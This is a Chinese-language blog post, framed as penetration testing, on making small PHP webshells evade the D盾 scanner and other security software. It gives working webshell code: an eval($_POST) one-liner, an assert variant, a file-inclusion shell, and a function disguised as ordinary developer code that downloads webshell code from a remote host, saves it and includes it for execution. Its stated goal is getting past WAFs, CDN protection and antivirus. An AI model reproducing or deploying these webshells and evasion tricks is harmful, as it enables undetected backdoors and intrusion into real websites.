在滲透測試過程初期,上傳小馬,拿到 webshell
再進行下一步的操作,現如今的網站安全更多是
一些雲防護、CDN防護、服務器安全軟件等等,給滲透測試、提權等帶來了一定難度的提升,
今天探討一下如何做PHP小馬的免殺。
小馬:體積、代碼量比較小的webshell
文件,一般借助“中國菜刀”、蟻劍等 shell
鏈接工具,進行進一步的滲透測試
小馬因為代碼小,顯得更加靈活。就像行軍打仗的偵察兵、卧底,里應外合,最后攻下城池
今天的PHP
代碼免殺,主要是針對D盾
下載了一個最新版的D盾:http://www.d99net.net/
0x01 常見的小馬
<?php @eval($_POST['x']); ?>
上述代碼可能是大家見過最普通的小馬文件了,體積小
但是基本上過不了任何裝有了 WAF
或者安全軟件的檢測
剛在本地編寫一個,結果就被 win10
自帶的 defender
給殺了,可見其有多弱~
到D盾檢查一下:
爆了5級危險
由此可見,這種精簡的小馬,已經不再適合當下互聯網環境
0x02 初步嘗試
既然eval()
函數無法使用,我們嘗試其他的可執行命令的函數吶?
更換assert()
函數
同樣被檢測為高危了,由此,這種更換其他函數的方式,實則換湯不換葯,如此免殺小馬,肯定是不可行的。
還有別的方法嗎?
0x02 從開發者角度思考問題
為什么 PHP
或者其他編程語言當中,會出現這些“危險高權限”函數,因為開發者需要,如果都被安全軟件攔截了,那么開發人員又該如何去實現自己的功能吶?
其實,我們免殺的過程就是要從開發者會犯的錯誤入手,這些看上去符合正常業務邏輯的程序,也可能隱藏着可突破殺軟攔截的方法。
文件包含
從文件包含入手
<?php $file = isset($_GET['file'])?trim($_GET['file']):'<?php @assert($_POST["x"]);?>'; require_once($file); ?>
再來看看,D盾的攔截提示:
3級危險提示,可疑的引用
因為是引用文件,所以提示了可疑
2.2 假裝自己是個程序員
仔細一琢磨,哪家的程序員會這樣寫代碼,連函數都沒有!!!
幻想自己現在是一名正在加班熬夜寫 BUG
的程序猿
那么,我們再寫個函數
<?php error_reporting(0); /** * DYBOY寫的BUG,通過獲取遠程小馬的代碼 **/ function httpGET($target_url, $get_data = array()){ $result = file_get_contents($target_url); file_put_contents('../xiaoma.txt', $result); //windows本地環境特殊,使用相對路徑,linux可以使用“/”即網站根目錄 return TRUE; } $r_file = httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt'); require_once('../xiaoma.txt'); ?>
繼續優化
和安全似乎有點無關了,本人覺得上面的代碼,每次都要去遠程獲取文件,這種行為是不夠優雅的
因此增加一個判斷文件是否已存在,增強變量名可讀性
<?php error_reporting(0); /** * DYBOY寫的BUG,通過獲取遠程小馬的代碼 **/ $file_path_name = '../xiaoma.txt'; function httpGET($target_url, $get_data = array()){ $content = file_get_contents($target_url); file_put_contents($file_path_name, $content); //windows本地環境特殊,使用相對路徑,linux可以使用“/”即網站根目錄 return TRUE; } if(!file_exists($file_path_name)){ httpGET('http://www.top15.cn/content/uploadfile/201908/7b9c1566231060.txt'); } require_once($file_path_name); ?>
關於為什么不直接讀取遠程文件的問題,讀取遠程文件需要 php.ini
中設置 allow_url_include=On
;一般來講,PHP
默認此屬性關閉,也很少會有網站會開啟此功能,因此將遠程文件先下載到本地,再利用 LFI
(本地文件包含)方式執行任意代碼!
總結
其實腳本的免殺非常靈活,任何的防護軟件都得保證程序的基本功能,因此在權衡是正常程序還是異常程序這個點上,單純的腳本防護能力還是比較弱的
在對攻擊進行攔截的方法中,基於攻擊大數據訓練出來的攻擊識別模型,或許才是下一代防火牆要做的事情,不少的 CDN
雲防護產品正是基於此
在雲防護的保障下,同樣要堅信,安全無絕對,面對多維度的攻擊,雲防護也並不是無懈可擊。